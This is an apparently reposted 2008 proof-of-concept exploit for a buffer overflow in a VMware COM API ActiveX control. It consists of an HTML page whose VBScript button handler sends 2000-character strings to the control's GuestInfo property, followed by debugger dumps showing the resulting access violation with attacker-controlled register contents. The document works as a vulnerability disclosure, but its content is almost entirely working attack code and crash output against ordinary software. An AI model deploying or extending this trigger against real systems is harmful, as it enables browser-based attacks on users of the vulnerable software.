VMware COM API ActiveX Remote Buffer Overflow PoC

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VMware COM API ActiveX Remote Buffer Overflow PoC

来源：http://shinnai.net 作者：shinnai 发布时间：2008-09-02

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VMWare COM API Buffer Overflow
url: http://www.vmware.com/

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.net

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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<object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
buff_1 = String (2000, "a")
buff_2 = String (2000, "b")
test.GuestInfo (buff_1) = buff_2
End Sub
</script>

Dump:
09:25:39.339 pid=0640 tid=0504 EXCEPTION (first-chance)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [00000070])
              ----------------------------------------------------------------
              EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
              EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
                            --> MOV EDX,[ECX+70]
              ----------------------------------------------------------------

09:25:39.339 pid=0640 tid=0504 EXCEPTION (unhandled)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [00000070])
              ----------------------------------------------------------------
              EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
              EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
                            --> MOV EDX,[ECX+70]
              ----------------------------------------------------------------

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